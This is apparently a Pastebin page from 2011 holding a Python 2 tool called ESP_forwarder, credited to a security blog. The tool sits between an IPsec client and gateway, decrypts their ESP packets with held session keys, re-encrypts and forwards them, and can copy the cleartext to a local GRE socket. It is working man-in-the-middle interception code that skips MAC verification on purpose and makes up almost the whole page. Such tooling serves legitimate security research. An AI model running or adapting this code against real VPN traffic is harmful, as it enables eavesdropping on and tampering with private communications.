daily pastebin goal
10%
SHARE
TWEET

ESP_forwarder

mitshell Jul 11th, 2011 380 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!/usr/bin/env python2
  2. #
  3. # (C) GNIF
  4. # http://graland-security.blogspot.com/
  5. # Consider it as GPLv2
  6. #
  7.  
  8. from struct import pack, unpack
  9. from select import select
  10. from binascii import hexlify
  11. import socket
  12. import hmac, hashlib
  13. from Crypto.Cipher import AES
  14.  
  15. # when receiving ESP, unprotect it and get payload with a given SA
  16. # and protect it back with the other SA and forward it
  17. #
  18. class ESP_forwarder(object):
  19.    
  20.     dbg = 1
  21.     # local socket parameters
  22.     local_ip = '192.168.20.5'
  23.     local_port = 4500
  24.     sk_timeout = 5
  25.     sk_buflen = 4096
  26.     # local socket address for ESP (tunnel) clear traffic duplication
  27.     dup_ip = '127.10.10.10'
  28.     # dummy GRE header for carrying IPv4 packet
  29.     gre = '\0\0\x08\0'
  30.     # cli / srv net address
  31.     cli_addr = ('192.168.20.6', 4500)
  32.     srv_addr = ('10.20.30.40', 4500)
  33.    
  34.     def __init__(self, SA_cli={}, SA_srv={}):
  35.         # SA = {'SPIi':[Kenci, Kauti, SPIi], 'SPIr':[Kencr, Kautr, SPIr]}
  36.         # SA_cli is the SA established with the client, which is the initiator
  37.         # SA_srv is the SA established with the gateway, which is the responder
  38.         self.SA_cli = SA_cli
  39.         self.SA_srv = SA_srv
  40.         # create the UDP socket on port 4500
  41.         self.sk = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, \
  42.                                 socket.IPPROTO_UDP)
  43.         self.sk.settimeout(self.sk_timeout)
  44.         self.sk.bind((self.local_ip, self.local_port))
  45.         # running loop condition... bit useless!
  46.         self.stop = False
  47.    
  48.     def run(self, duplicate_local=False):
  49.         # run a select() loop
  50.         # and transfer ESP incoming packet
  51.         peers = (self.cli_addr, self.srv_addr)
  52.         # for traffic duplication, send clear packet into dummy GRE header
  53.         # to local interface with RAW socket - IPPROTO_GRE is 47
  54.         if duplicate_local:
  55.             self.gre_sk = socket.socket(socket.AF_INET, socket.SOCK_RAW, 47)
  56.             self.gre_sk.bind((self.dup_ip, 0))
  57.        
  58.         # Loop on select
  59.         while not self.stop:
  60.             recv = select([self.sk], [], [], self.sk_timeout)[0]
  61.             for r in recv:
  62.                 buf = ''
  63.                 (buf, addr) = r.recvfrom(self.sk_buflen)
  64.                 #print('from: %s' % addr)
  65.                 if buf and addr in peers:
  66.                     buf = self.transfer(buf, duplicate_local)
  67.                     if buf:
  68.                         dst = peers[(peers.index(addr)+1)%2]
  69.                         #print('to: %s' % dst)
  70.                         self.sk.sendto(buf, dst)
  71.    
  72.     def stop(self):
  73.         self.stop = True
  74.    
  75.     def transfer(self, espbuf, duplicate_local=False):
  76.         # function that gets a packet from a given SPI (cli or srv)
  77.         # unprotect it accordingly
  78.         # and protect it with the corresponding other side SPI (srv or cli)
  79.         spi = espbuf[:4]
  80.        
  81.         # check if IKEv2 packet received
  82.         if spi == '\0\0\0\0':
  83.             if self.dbg:
  84.                 print('[+] Got IKEv2 packet... ignored')
  85.             return ''
  86.        
  87.         # check if packet incoming from the client
  88.         elif spi == self.SA_cli['SPIi'][2]:
  89.             if self.dbg:
  90.                 print('[+] Got ESP packet from cli / initiator')
  91.             # unprotect with the keys from the cli initiator
  92.             buf, (seq, iv) = self.unprotect(espbuf, self.SA_cli['SPIi'][0])
  93.             if duplicate_local:
  94.                 self.__duplicate(buf)
  95.             # protect with the keys from the srv initiator
  96.             return self.protect(buf, self.SA_srv['SPIi'], (seq, iv))
  97.        
  98.         # check if packet incoming from the gw
  99.         elif spi == self.SA_srv['SPIr'][2]:
  100.             if self.dbg:
  101.                 print('[+] Got ESP packet from srv / responder')
  102.             # unprotect with the keys from the srv responder
  103.             buf, (seq, iv) = self.unprotect(espbuf, self.SA_srv['SPIr'][0])
  104.             if duplicate_local:
  105.                 self.__duplicate(buf)
  106.             # protect with the keys from the cli responder
  107.             return self.protect(buf, self.SA_cli['SPIr'], (seq, iv))
  108.        
  109.         else:
  110.             if self.dbg:
  111.                 print('[+] Got ESP packet with unknown SPI')
  112.             return ''
  113.        
  114.     def unprotect(self, buf, Kenc):
  115.         # get ESP header (SPI, seq and cipher init) and trailer (MAC)
  116.         spi = buf[0:4]
  117.         seq = unpack('!I', buf[4:8])[0]
  118.         # IV hardcoded for AES-CBC-128
  119.         iv = buf[8:24]
  120.         # MAC length hardcoded for HMAC-96
  121.         mac = buf[-12:]
  122.         # ciphered part
  123.         buf = buf[24:-12]
  124.         # decipher with Kenc, alg is AES-CBC-128
  125.         alg = AES.new(key=Kenc, mode=2, IV=iv)
  126.         buf = alg.decrypt(buf)
  127.         # do not verify MAC...
  128.         if self.dbg > 1:
  129.             print('[DBG] raw unprotected ESP buffer:\n%s\n' % hexlify(buf))
  130.         return buf, (seq, iv)
  131.    
  132.     def protect(self, buf, (Kenc, Kaut, spi), (seq, iv)):
  133.         # make ESP header
  134.         hdr = ''.join((spi, pack('!I', seq), iv))
  135.         # cipher buffer with Kenc
  136.         alg = AES.new(key=Kenc, mode=2, IV=iv)
  137.         buf = alg.encrypt(buf)
  138.         # make MAC with Kaut, alg is HMAC-SHA1-96
  139.         buf = ''.join((hdr, buf))
  140.         buf = ''.join((buf, hmac.new(Kaut, buf, hashlib.sha1).digest()[0:12]))
  141.         # return the complete ESP payload
  142.         return buf
  143.    
  144.     def __unpad_espbuf(self, buf):
  145.         # padding (*pad length) + uint8 (pad length) + uint8 (next header)
  146.         return buf[:-(unpack('!B', buf[-2:-1])[0]+2)]
  147.    
  148.     def __duplicate(self, buf):
  149.         # send GRE frame
  150.         self.gre_sk.sendto(''.join((self.gre, self.__unpad_espbuf(buf))), (self.dup_ip, 0))
  151. #
RAW Paste Data
Top